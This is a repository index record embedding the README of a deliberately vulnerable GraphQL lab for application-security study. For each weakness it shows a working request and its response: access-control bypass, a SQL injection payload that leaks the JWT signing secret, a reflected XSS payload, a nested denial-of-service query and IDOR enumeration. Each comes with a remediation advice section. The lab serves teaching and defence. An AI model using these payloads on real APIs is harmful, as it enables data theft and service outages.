{"id":13514808,"url":"https://github.com/righettod/poc-graphql","last_synced_at":"2025-03-31T03:31:28.507Z","repository":{"id":61374837,"uuid":"178586128","full_name":"righettod/poc-graphql","owner":"righettod","description":"Research on GraphQL from an AppSec point of view.","archived":true,"fork":false,"pushed_at":"2023-05-24T00:09:40.000Z","size":235,"stargazers_count":407,"open_issues_count":0,"forks_count":61,"subscribers_count":16,"default_branch":"master","last_synced_at":"2024-11-01T18:37:56.089Z","etag":null,"topics":["graphql","java","security"],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/righettod.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2019-03-30T16:51:09.000Z","updated_at":"2024-10-28T17:08:26.000Z","dependencies_parsed_at":"2024-01-07T18:09:17.786Z","dependency_job_id":"19b09061-5880-4150-84e8-99cb3406ebb4","html_url":"https://github.com/righettod/poc-graphql","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/righettod%2Fpoc-graphql","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/righettod%2Fpoc-graphql/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/righettod%2Fpoc-graphql/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/righettod%2Fpoc-graphql/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/righettod","download_url":"https://codeload.github.com/righettod/poc-graphql/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246413377,"owners_count":20773053,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["graphql","java","security"],"created_at":"2024-08-01T05:01:02.075Z","updated_at":"2025-03-31T03:31:23.497Z","avatar_url":"https://github.com/righettod.png","language":"Java","readme":"![Build and deploy the image](https://github.com/righettod/poc-graphql/workflows/Build%20and%20deploy%20the%20image/badge.svg?branch=master)\n\n# Table Of Content\n\n- [Table Of Content](#table-of-content)\n- [Research on GraphQL](#research-on-graphql)\n  - [Objective](#objective)\n  - [Labs](#labs)\n  - [Deploying on Docker](#deploying-on-docker)\n  - [Security weaknesses](#security-weaknesses)\n    - [Authorization](#authorization)\n      - [Issue](#issue)\n      - [Reco](#reco)\n    - [Injection](#injection)\n      - [Issue](#issue-1)\n      - [Reco](#reco-1)\n    - [Resource exhaustion](#resource-exhaustion)\n      - [Issue](#issue-2)\n      - [Reco](#reco-2)\n    - [Exposure of private data](#exposure-of-private-data)\n      - [Issue](#issue-3)\n      - [Reco](#reco-3)\n    - [Exposure of technical information in case of unexpected error](#exposure-of-technical-information-in-case-of-unexpected-error)\n      - [Issue](#issue-4)\n      - [Reco](#reco-4)\n    - [Insecure Direct Object Reference](#insecure-direct-object-reference)\n      - [Issue](#issue-5)\n    - [Exposure of the API to the wrong sphere of clients](#exposure-of-the-api-to-the-wrong-sphere-of-clients)\n      - [Issue](#issue-6)\n        - [Subscriptions WebSocket endpoint default enabling](#subscriptions-websocket-endpoint-default-enabling)\n        - [Cross-Origin Resource Sharing default enabling](#cross-origin-resource-sharing-default-enabling)\n      - [Reco](#reco-5)\n  - [Discovery queries](#discovery-queries)\n  - [References used](#references-used)\n    - [GraphQL](#graphql)\n    - [Labs](#labs-1)\n\n# Research on GraphQL\n\n## Objective\n\n1. Study what is GraphQL.\n2. Analyse the usage of GraphQL from an AppSec point of view (attacks and defenses).\n3. Identify potential weaknesses on which attacks can be leveraged.\n\n## Labs\n\nA labs has been created in order to study the different issues, this one take the context of a Veterinary managing healthcare of dogs.\n\nThe labs was developed using [IntelliJ IDEA Community Edition](https://www.jetbrains.com/idea/download/).\n\nDomains used are the following:\n\n```text\n# Define in host file\n127.0.0.1 localhost\n127.0.0.1 domain1.local\n127.0.0.1 domain2.local\n```\n\nThere is the labs conditions and assumptions:\n\n* A Veterinary can be associated with 0 or N dogs.\n* A Dog can be associated with 0 or 1 Veterinary.\n* A Veterinary possess a property named **Popularity** present into the storage system (database) but it must no be accessed by GraphQL client because it is a sensitive information.\n* The GraphQL data consumption point of view is the Veterinary. Dog information are public.\n* The lab is explicitly a vulnerable application in which several vulnerabilities has been implemented and are identified using the `[VULN]` marker in comments.\n* Regarding the authentication, a fake 3rd party service has been implemented (via a servlet) and return a JWT token containing the Veterinary name into the token.\n\nOnce started via the launch configuration present into the project or the command line `mvn spring-boot:run`, the labs is available on these endpoints:\n\n* [GraphiQL](http://localhost:8080/graphiql)\n* [GraphQL](http://localhost:8080/graphql)\n\nTo package the application, as a portable jar file, use the command `mvn package` (a pre-built jar file is available [here](https://github.com/righettod/poc-graphql/releases)):\n* The jar file will be created in the folder *target* and will be named *graphql-poc.jar*.\n* Use the command `java -jar graphql-poc.jar` to run the application.\n\n## Deploying on Docker\n\n\u003e The image is published every day on [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)\n\nIn order to deploy the application in a docker container follow the steps:\n\n1. Make sure you have `docker` installed.\n2. `git clone` the repository.\n3. Change into the cloned directory.\n4. Build the docker image using `docker build -t poc-graphql .`\n5. Now an image called **poc-graphql:latest** has been created on your machine.\n6. Run the container using `docker run -p 8080:8080 poc-graphql:latest`\n7. Access the lab using the following endpoints:\n   * [GraphiQL](http://localhost:8080/graphiql)\n   * [GraphQL](http://localhost:8080/graphql) \n\n## Security weaknesses\n\n### Authorization\n\n*broken access control*\n\n[CWE-285](https://cwe.mitre.org/data/definitions/285.html)\n\n#### Issue\n\nAs GraphQL is based on a single endpoint on which every requests is sent and as authorization is out of scope of the specification (no built-in features).\n\nIt's up to the application to implements an authorization logic.\n\nIn my labs I have a vulnerability on this point because the verification of the access token do not verify that the token belong to the veterinary passed in **veterinaryId**\n\n**Example:**\n\nI ask a access token for **Dr Julien** that have the identifier **3** in the storage by sending this GraphQL request:\n\n```javascript\nquery getAccessToken {\n  auth(veterinaryName: \"Julien\")\n}\n```\n\nI receive the access token in the following GraphQL response:\n\n```javascript\n{\n  \"data\": {\n    \"auth\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI\"\n  }\n}\n```\n\nI send a GraphQL request to the query `myInfo(...)` using the obtained access token BUT I specify the identifier **2** that the one of **Dr Benoit**:\n\n```javascript\nquery brokenAccessControl {\n  myInfo(accessToken:\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI\", veterinaryId: 2){\n    id, name, dogs {\n      name\n    }\n  }\n}\n```\n\nI receive in the GraphQL response the list of Dogs associated with **Dr Benoit**:\n\n```javascript\n{\n  \"data\": {\n    \"myInfo\": {\n      \"id\": 2,\n      \"name\": \"Benoit\",\n      \"dogs\": [\n        {\n          \"name\": \"Babou\"\n        },\n        {\n          \"name\": \"Baboune\"\n        },\n        {\n          \"name\": \"Babylon\"\n        },\n    ...\n```\n\n#### Reco\n\nWith GraphQL we passed from a authorization matrix using `Role x Feature` to data level security using `Role x Data` because the also a single endpoints. User identity and roles must be passed to the top layer in charge grabbing the data (on act on) in order apply a verification using user identity prior to grab the data.\n\n### Injection\n\n[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)\n\n#### Issue\n\nAccording to how the information from the GraphQL request query/mutation/subscription are used by the GraphQL server to act on datastores there possibility for injection.\n\nIn my labs I have a vulnerability on this point about SQLi in query `dogs(namePrefix: String, limit: Int = 500): [Dog!]` because the parameter **namePrefix** is used in string concatenation to build a SQL query.\n\n**Example:**\n\nI send this GraphQL request in order to list the content of the `CONFIG` table\n\n```javascript\nquery sqli {\n  dogs(namePrefix: \"ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- \", limit: 1000) {\n    id\n    name\n  }\n}\n```\n\nI receive in the GraphQL response the secret used to sign JWT token along the name of the dog for which the name start **ab**:\n\n```javascript\n{\n  \"data\": {\n    \"dogs\": [\n      {\n        \"id\": 1,\n        \"name\": \"Abi\"\n      },\n      {\n        \"id\": 2,\n        \"name\": \"Abime\"\n      },\n      {\n        \"id\": 50,\n        \"name\": \"$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^\"\n      }\n    ]\n  }\n}\n```\n\nAbout XSS, it's interesting to note that the GraphQL response reflect the parameter sent in case of validation fail on the request sent.\n\n**Example:**\n\nI send this GraphQL request to the query `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, i replace the Veterinary identifier (that is an integer) by a String XSS payload:\n\n```javascript\nquery xss {\n  myInfo(accessToken: \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0\",\n    veterinaryId: \"\u003cscript\u003ealert('XSS')\u003c/script\u003e\") {\n    id\n  }\n}\n```  \n\nI receive this GraphQL response that reflect my payload, so, depending on the GraphQL client and is escaping/sanitizing behavior it can open the door to XSS:\n\n```javascript\n{\n  \"data\": null,\n  \"errors\": [\n    {\n      \"message\": \"Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value='\u003cscript\u003ealert('XSS')\u003c/script\u003e'}' is not a valid 'Int' @ 'myInfo'\",\n      \"locations\": [\n        {\n          \"line\": 3,\n          \"column\": 5,\n          \"sourceName\": null\n        }\n      ],\n      \"description\": \"argument 'veterinaryId' with value 'StringValue{value='\u003cscript\u003ealert('XSS')\u003c/script\u003e'}' is not a valid 'Int'\",\n      \"validationErrorType\": \"WrongType\",\n      \"queryPath\": [\n        \"myInfo\"\n      ],\n      \"errorType\": \"ValidationError\",\n      \"path\": null,\n      \"extensions\": null\n    }\n  ]\n}\n```\n\n#### Reco\n\n* Apply input validation on data received via Query/Mutation/Subscription prior to use it\n* Ensure that the client rendering the data from GraphQL response apply escaping/sanitization on data prior to render them.\n\n### Resource exhaustion\n\n[CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n#### Issue\n\nAs the client control the amount of data requested it can send a GrapQL request to a query that cause a resource exhaustion on the storages called by the GraphQL server along the GraphQL server itself for the serialization of data to JSON.\n\nThis issue can also happen using a mutation by sending a large amount of data in the parameters (input validation can used here to prevent this attack).\n\nThis issue can also happen using a subscription by either:\n\n* Register a large amount of subscribers and on each subscription exposed.\n* Send a large amount of data in the parameters used by the subscriptions.\n\nIn my labs I have a vulnerability on this point for query, precisely in the query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` that is available for anonymous user and retrieve the content of the DB about the Dog. As there a relation between Dogs and a Veterinary and the reverse then it's possible to perform cascading call causing resource exhaustion at SQL level on the DB.\n\n**Example:**\n\nWhen I send this request, I cause my CPU to go to 100% during several minutes and my DB is local because it's an SQLite\n\n```javascript\nquery dos {\n  allDogs(onlyFree: false, limit: 1000000) {\n    id\n    name\n    veterinary {\n      id\n      name\n      dogs {\n        id\n        name\n        veterinary {\n          id\n          name\n          dogs {\n            id\n            name\n            veterinary {\n              id\n              name\n              dogs {\n                id\n                name\n                veterinary {\n                  id\n                  name\n                  dogs {\n                    id\n                    name\n                    veterinary {\n                      id\n                      name\n                      dogs {\n                        id\n                        name\n                      }\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n![PROOF00](docs/PROOF00.png)\n\n#### Reco\n\n**For Query:**\n\nDepending on the implementation of GraphQL server used, use the built-in protection provided for **Maximum Query Depth** \u0026 **Query Complexity** (see [specs here](https://www.howtographql.com/advanced/4-security/)).\n\nFor the Java implementation, add these 2 instrumentations classes to the execution strategy:\n\n* [Protection against Query Complexity](https://github.com/graphql-java/graphql-java/blob/master/src/main/java/graphql/analysis/MaxQueryComplexityInstrumentation.java)\n* [Protection against Query Deep](https://github.com/graphql-java/graphql-java/blob/master/src/main/java/graphql/analysis/MaxQueryDepthInstrumentation.java)\n\nSee this [class](src/main/java/eu/righettod/graphqlpoc/Application.java) for an example of usage of the 2 instrumentations above.\n\n**For Mutation/Subscription:**\n\n* Use input validation to limit the size of the incoming accepted data.\n* Add subscribers limit at code level.\n\n### Exposure of private data\n\n[CWE-359](https://cwe.mitre.org/data/definitions/359.html)\n\n#### Issue\n\nWith GrapQL, a [introspection feature](https://graphql.org/learn/introspection/) is offered to the client in order to access to the API schema in order to discover the available data, Query and Mutation and Subscription on them.\n\n**Note:** Disabling *Introspection* puts your server in contravention of the GraphQL specification and expectations of most clients so use this with caution so prefer filtering access than disable it from business point of view.\n\nIt imply that any client is able to dig into the schema in order to see in `Type` if any interesting sensitive information are exposed (it's the same remark about action regarding the `Mutation` or `Subscription` exposed)\n\nUsing [GraphiQL](https://github.com/graphql/graphiql) via the **Documentation Explorer** panel or this [script](https://github.com/doyensec/graph-ql/) it's possible to browse the schema exposed from a GrapQL endpoint.\n\nIn my lab i have, by error, exposed the **popularity** information considered as sensitive about a Veterinary into the Type **Veterinary**\n\nIn my lab, this [url](http://localhost:8080/graphql/schema.json) allow to obtain a copy of the schema.\n\n**Example:**\n\nUsing the **Documentation Explorer** panel, i have found this field:\n\n![PROOF01](docs/PROOF01.png)\n\n![PROOF02](docs/PROOF02.png)\n\n![PROOF03](docs/PROOF03.png)\n\n#### Reco\n\nAuthentication constraint can be set on the access to the GraphQL endpoint to prevent an exposure to anonymous user but any authenticated user will access this information schema.\n\nEven if an client can see the structure of a type exposing sensiive information, to see this information it need to be allowed on the Query/Mutation/Subscription returning this data.\n\nDo not map sensitive information into the type defined into the schema.\n\nAs GraphQL materialized how the client will consume the data, the GraphQL must not expose all the data available in the linked storage but ones useful for the client according to the business context of the GraphQL API exposed to them.\n\n### Exposure of technical information in case of unexpected error\n\n[CWE-200](https://cwe.mitre.org/data/definitions/200.html)\n\n#### Issue\n\nWhen the GraphQL server meet an unexpected error (I/O with storages, NullPointerException, Timeout...), the response indicate *Internal Server Error(s) while executing query* so it give an hint to the attacker have act on the system and cause an unexpected behavior.\n\n**Example:**\n\nWhen I send this request query on my lab (invalid token):\n\n```javascript\nquery testErrorHandling {\n  myInfo(accessToken:\"aaaa\", veterinaryId: 2){\n    id, name, dogs {\n      name,veterinary{\n        name\n      }\n    }\n  }\n}\n```\n\nI receive this reponse that it inform me that i have acted on the system and caused an unexpected behavior. Perhaps, for example, i have generated a stack trace on app log and if the app log files are rotating on date (daily) and not on size then i can send multiple time this resquest to fill the disk with errors logs...\n\n```javascript\n{\n  \"data\": {\n    \"myInfo\": null\n  },\n  \"errors\": [\n    {\n      \"message\": \"Internal Server Error(s) while executing query\",\n      \"path\": null,\n      \"extensions\": null\n    }\n  ]\n}\n```\n\n#### Reco\n\nReturn a generic error if an unexpected error is meet, like for example **Query cannot be processed!**\n\nSee an example into this [class](src/main/java/eu/righettod/graphqlpoc/security/ErrorHandler.java).\n\n### Insecure Direct Object Reference\n\n[CWE-639](https://cwe.mitre.org/data/definitions/639.html)\n\n#### Issue\n\nIf the GrapQL API expose Query/Mutation/Subscription for which the data identifier is guessable/predictable then the Query/Mutation/Subscription are exposed to IDOR attack on which the attacker will use a custom built list of identifier in order to try to access or act on data having an identifier that is part of the list and the action will succeed if authorization issue are also present on the target Query/Mutation/Subscription handling the target data.\n\nThe GraphQL API Query/Mutation/Subscription proposed by my labs is vulnerable to IDOR because i use sequential integer for unique identifier for Dog and Veterinary.\n\n**Example:**\n\nUsing the **Documentation Explorer** of GraphiQL we see that the identifier are simple integer and are sequential:\n\n![PROOF04](docs/PROOF04.png)\n\n![PROOF05](docs/PROOF05.png)\n\nRequest query to detect IDOR:\n\n```javascript\nquery detectIDOR {\n  allDogs{\n    id,veterinary{\n      id\n    }\n  }\n}\n```\n\nThe response show the sequential identifier for Dog and Veterinay:\n\n```javascript\n{\n  \"data\": {\n    \"allDogs\": [\n      {\n        \"id\": 1,\n        \"veterinary\": {\n          \"id\": 1\n        }\n      },\n      {\n        \"id\": 2,\n        \"veterinary\": {\n          \"id\": 1\n        }\n      },\n      {\n        \"id\": 3,\n        \"veterinary\": {\n          \"id\": 1\n        }\n      },\n  ...\n  {\n        \"id\": 55,\n        \"veterinary\": {\n          \"id\": 2\n        }\n      },\n      {\n        \"id\": 56,\n        \"veterinary\": {\n          \"id\": 2\n        }\n      },\n      {\n        \"id\": 57,\n        \"veterinary\": {\n          \"id\": 2\n        }\n      },\n      {\n        \"id\": 58,\n        \"veterinary\": {\n          \"id\": 2\n        }\n      },\n      {\n        \"id\": 59,\n        \"veterinary\": {\n          \"id\": 2\n        }\n  ...\n```\n\n### Exposure of the API to the wrong sphere of clients\n\n[CWE-668](https://cwe.mitre.org/data/definitions/668.html)\n\n#### Issue\n\nWhen using GraphQL implementation server to build your GraphQL API, it can happen that this one enable *by default* some features that expose the GraphQL API to the wrong sphere of clients.\n\n##### Subscriptions WebSocket endpoint default enabling\n\nIn my lab it is the case because, by default, a WebSocket endpoint is exposed on the path `/subscriptions` and do not require any authentication (see this [doc](https://www.howtographql.com/basics/2-core-concepts/) precisely the section *Realtime Updates with Subscriptions*):\n\n![PROOF08](docs/PROOF08.png)\n\nClients can obtain access to API data via this endpoint if the schema declare subscriptions in the `Subscription` section.\n\n**Example:**\n\nI can see the subscriptions exposed via the schema:\n\n![PROOF09](docs/PROOF09.png)\n\nIf I send this subscription request to receive event from the *newAssociation* subscription:\n\n```javascript\nsubscription subscribeToNewAssociation{\n  newAssociation\n}\n```\n\nI receive the following message indicating that, from now, i will receive information from this subscription:\n\n```text\nYour subscription data will appear here after server publication!\n```\n\nAnd when i create a association via this mutation request in another browser for example:\n\n```javascript\nmutation associateDog{\n  \tassociateDogToMe(accessToken: \"eyJ0eXAiOiJKV1Qi...\", veterinaryId: 4, dogId: 198){\n    name\n  }\n}\n```\n\nThe mutation response prove that the action has been performed at data level:\n\n```javascript\n{\n  \"data\": {\n    \"associateDogToMe\": {\n      \"name\": \"Dobby\"\n    }\n  }\n}\n```\n\nAfter a moment, i receive this notification in response to my subscription:\n\n```javascript\n{\n  \"newAssociation\": \"Dog['Dobby'] associated with Veterinary['Maxime'].\"\n}\n```\n\n![PROOF10](docs/PROOF10.png)\n\n##### Cross-Origin Resource Sharing default enabling\n\nIn my lab it is the case because, by default, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) is enabled and set to `*` so the API can be called by any `origin`.\n\n**Example:**\n\nWhen I send this request in which if specify a different `origin` from *domain1.local* to *domain2.local*:\n\n```text\nPOST /graphql HTTP/1.1\nHost: domain2.local:8080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\nAccept: application/json\nAccept-Language: en-GB,en;q=0.5\nAccept-Encoding: gzip, deflate\ncontent-type: application/json\norigin: http://domain1.local:8080\nreferer: http://domain1.local:8080\nContent-Length: 104\nDNT: 1\nConnection: close\nPragma: no-cache\nCache-Control: no-cache\n\n{\"query\":\"query testCORS {\\n  allDogs{\\n    name\\n  }\\n}\\n\",\"variables\":null,\"operationName\":\"testCORS\"}\n```\n\nI receive this response:\n\n```text\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Origin: *\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nContent-Type: application/json;charset=UTF-8\nContent-Length: 3562\nDate: Sat, 05 Jan 2019 16:23:47 GMT\n\n{\"data\":{\"allDogs\":[{\"name\":\"Abi\"},...\n```\n\nCall from a browser:\n\n![PROOF06](docs/PROOF06.png)\n\n![PROOF07](docs/PROOF07.png)\n\n#### Reco\n\nVerify the features enabled by default and disable them if it impact the exposure of the API.\n\nFor the Subscriptions endpoint:\n\n* If you expose subscription then ensure that there Authentication and Access Control in place on every subscription exposed in the schema.\n* If you don't expose subscription then disable the WebSocket endpoint or block this endpoint at WAF/Application Server level.\n\nIn my lab it was to set the following options in this [configuration file](src/main/resources/application.properties):\n\n* For CORS: `graphql.servlet.corsEnabled=false`\n* For WebSocket: `graphql.servlet.websocket.enabled=false`\n\n## Discovery queries\n\nThe following queries can be used to get the schema.\n\nNon-detailed:\n\n```javascript\n{\n    __schema {\n        types {\n            name\n            kind\n            description\n            fields {\n                name\n            }\n        }\n    }\n}\n```\n\nDetailed:\n\n```javascript\n query IntrospectionQuery {\n  __schema {\n\t  queryType {\n\t\t  name\n\t  }\n\t  mutationType {\n\t\t  name\n\t  }\n\t  subscriptionType {\n\t\t  name\n\t  }\n\t  types {\n\t\t  ...FullType\n\t  }\n\t  directives {\n\t\t  name\n\t\t  description\n\t\t  locations\n\t\t  args {\n\t\t\t  ...InputValue\n\t\t  }\n\t  }\n  }\n}\n\nfragment FullType on __Type {\n  kind\n  name\n  description\n  fields(includeDeprecated: true) {\n\t  name\n\t  description\n\t  args {\n\t\t  ...InputValue\n\t  }\n\t  type {\n\t\t  ...TypeRef\n\t  }\n\t  isDeprecated\n\t  deprecationReason\n  }\n  inputFields {\n\t  ...InputValue\n  }\n  interfaces {\n\t  ...TypeRef\n  }\n  enumValues(includeDeprecated: true) {\n\t  name\n\t  description\n\t  isDeprecated\n\t  deprecationReason\n  }\n  possibleTypes {\n\t  ...TypeRef\n  }\n}\n\nfragment InputValue on __InputValue {\n  name\n  description\n  type {\n\t  ...TypeRef\n  }\n  defaultValue\n}\n\nfragment TypeRef on __Type {\n  kind\n  name\n  ofType {\n\t  kind\n\t  name\n\t  ofType {\n\t\t  kind\n\t\t  name\n\t\t  ofType {\n\t\t\t  kind\n\t\t\t  name\n\t\t\t  ofType {\n\t\t\t\t  kind\n\t\t\t\t  name\n\t\t\t\t  ofType {\n\t\t\t\t\t  kind\n\t\t\t\t\t  name\n\t\t\t\t\t  ofType {\n\t\t\t\t\t\t  kind\n\t\t\t\t\t\t  name\n\t\t\t\t\t\t  ofType {\n\t\t\t\t\t\t\t  kind\n\t\t\t\t\t\t\t  name\n\t\t\t\t\t\t  }\n\t\t\t\t\t  }\n\t\t\t\t  }\n\t\t\t  }\n\t\t  }\n\t  }\n  }\n}\n```\n\n## References used\n\n### GraphQL\n\n* [GraphQL site](https://graphql.org/)\n* [GraphQL tutorials](https://www.howtographql.com/)\n* [DOYENSEC Blog about GraphQL issues](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)\n\n### Labs\n\n* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)\n* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)\n","funding_links":[],"categories":["Java","Deliberately vulnerable APIs","HarmonyOS"],"sub_categories":["Windows Manager"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frighettod%2Fpoc-graphql","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frighettod%2Fpoc-graphql","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frighettod%2Fpoc-graphql/lists"}